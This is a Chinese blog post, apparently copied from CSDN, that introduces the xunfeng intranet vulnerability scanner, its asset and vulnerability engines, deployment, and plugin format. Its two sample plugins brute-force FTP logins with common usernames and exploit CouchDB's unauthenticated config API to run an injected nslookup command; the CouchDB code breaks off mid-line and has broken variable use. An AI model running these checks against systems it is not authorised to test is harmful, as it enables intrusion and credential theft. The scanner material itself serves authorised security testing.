码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 红队专题-开源漏扫-巡风xunfeng源码剖析与应用


    在这里插入图片描述

    开源漏扫-巡风xunfeng

    • 介绍
    • 主体两部分:网络资产识别引擎,漏洞检测引擎。
      • 代码赏析
      • 插件编写
        • JSON标示符
        • Python脚本
          • 此外系统内嵌了辅助验证功能
      • 文件结构
      • 功能 模块
        • 添加IP
      • 三. 进行扫描
    • 在这里插入图片描述 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/de587a6f6f6947118cd695fa3fa30851.png)
      • 巡风源码剖析——源码解析
      • Win10部署和调试巡风
        • 安装 python 解释器:
        • python 依赖库
      • 使用pip安装 python 依赖库, 这里使用了豆瓣的 pypi 源。
        • 安装数据库
      • https://github.com/ysrc/xunfeng/blob/master/docs/install/Windows.md 安装指南 win
      • Ubuntu部署和调试巡风
    • docker安装
      • 2021.2.22

    ·

    巡风
    https://github.com/ysrc/xunfeng
    http://x:8000/login
    https://blog.csdn.net/hl1293348082/article/details/123865548
    https://blog.csdn.net/weixin_42417767/article/details/102859978
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    介绍

    巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。
    支持多平台安装,包括windows、linux、OSX、docker
    在这里插入图片描述
    1.查看内部网络资产分布
    2.指定漏洞插件对搜索结果进行快速漏洞检测
    3.并输出结果报表

    下载传送门

    主体两部分:网络资产识别引擎,漏洞检测引擎。

    ·
    在这里插入图片描述

    ①网络资产识别:
    通过用户配置的IP范围定期自动的进行端口探测(支持调用MASSCAN),
    并进行指纹识别,识别内容包括:服务类型、组件容器、脚本语言、CMS。

    ②漏洞检测引擎
    根据用户指定的任务规则进行定期或者一次性的漏洞检测,
    其支持2种插件类型、标示符与脚本,均可通过web控制台进行添加。

    资产扫描和漏洞扫描都是基于数据库中特定字段的改变,会有心跳线程monitor(),不断的去检查数据库中字段。用户在页面上的操作,都是先改变数据库内容而已。
    所以比如开启某个漏扫任务,可能没法马上开始。

    在这里插入图片描述

    代码赏析

    任务模块化,结构化的思维

    项目比较完整

    插件编写

    漏洞插件支持2种类型,json标示与python脚本,
    可以通过官方推送渠道安装或者自行添加。
    在这里插入图片描述

    JSON标示符

    在这里插入图片描述

    Python脚本

    插件标准非常简洁,
    只需通过 get_plugin_info 方法定义插件信息,check函数检测漏洞即可。
    在这里插入图片描述

    此外系统内嵌了辅助验证功能

    在这里插入图片描述

    使用例子:

    
    import ftplib
    
    def get_plugin_info():  # 插件描述信息
        plugin_info = {
       
            "name": "FTP弱口令",
            "info": "导致敏感信息泄露,严重情况可导致服务器被入侵控制。",
            "level": "高危",
            "type": "弱口令",
            "author": "wolf@YSRC",
            "url": "",
            "keyword": "server:ftp",  # 推荐搜索关键字
        }
        return plugin_info
    
    def check(ip, port, timeout): # 漏洞检测代码
        user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
        for user in user_list:
            for pass_ in PASSWORD_DIC:  # 密码字典无需定义,程序会自动为其赋值。
                pass_ = str(pass_.replace('{user}', user))
                try:
                    ftp = ftplib.FTP()
                    ftp.timeout = timeout
                    ftp.connect(ip, port)
                    ftp.login(user, pass_)
                    if pass_ == '': pass_ = 'null'
                    if user == 'ftp' and pass_ == 'ftp': return u"可匿名登录"
                    return u"存在弱口令,账号:%s,密码:%s" % (user, pass_)  # 成功返回结果,内容显示在扫描结果页面。
                except:
                    pass
    
    
    
    
     	import urllib2
    	import random
    	import socket
    
    def get_plugin_info():  # 插件描述信息
        plugin_info = {
       
                "name": "CouchDB未授权访问",
                "info": "导致敏感信息泄露,攻击者可通过控制面板执行系统命令,导致服务器被入侵。",
                "level": "高危",
                "type": "未授权访问",
                "author": "wolf@YSRC",
                "url": "",
                "keyword": "server:couchdb",  # 推荐搜索关键字
        }
    
    def get_ver_ip(ip):
        csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        csock.connect((ip, 80))
        (addr, port) = csock.getsockname()
        csock.close()
        return addr
    
    def random_str(len):
        str1=""
        for i in range(len):
            str1+=(random.choice("ABCDEFGH1234567890"))
        return str(str1)
    
    def check(ip,port,timeout):
        rand_str = random_str(8)
        cmd = random_str(4)
        server_ip = get_ver_ip()
        req_list = [
            ["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)],
            ["/vultest123",''],
            ["/vultest123/test",'{"_id":"safetest"}']
        ]
        for req_info in req_list:
            try:
                request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout)
                request.get_method = lambda: 'PUT'
                urllib2.urlopen(request)
            except:
                pass
        try:
            req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd))
            req_exec
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
  • 相关阅读:
    硬件工程师成长之路(10.1)——芯片选型
    GlusterFS基本概念
    boot+mp搭建版本踩坑记录
    报错信息Missing unknown database driver(MySQLdb模块)
    代码随想录——接雨水(双指针&动态规划&单调栈)
    Node爬虫:利用Node.js爬取网页图片的实用指南
    SECS/GEM金南瓜通讯平台
    深入理解Linux下的网络监控工具:iftop
    Unity Animation--动画剪辑(创建动画)
    HDI的盲孔设计,你注意到这个细节了吗?
  • 原文地址:https://blog.csdn.net/qq_33608000/article/details/136551993
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号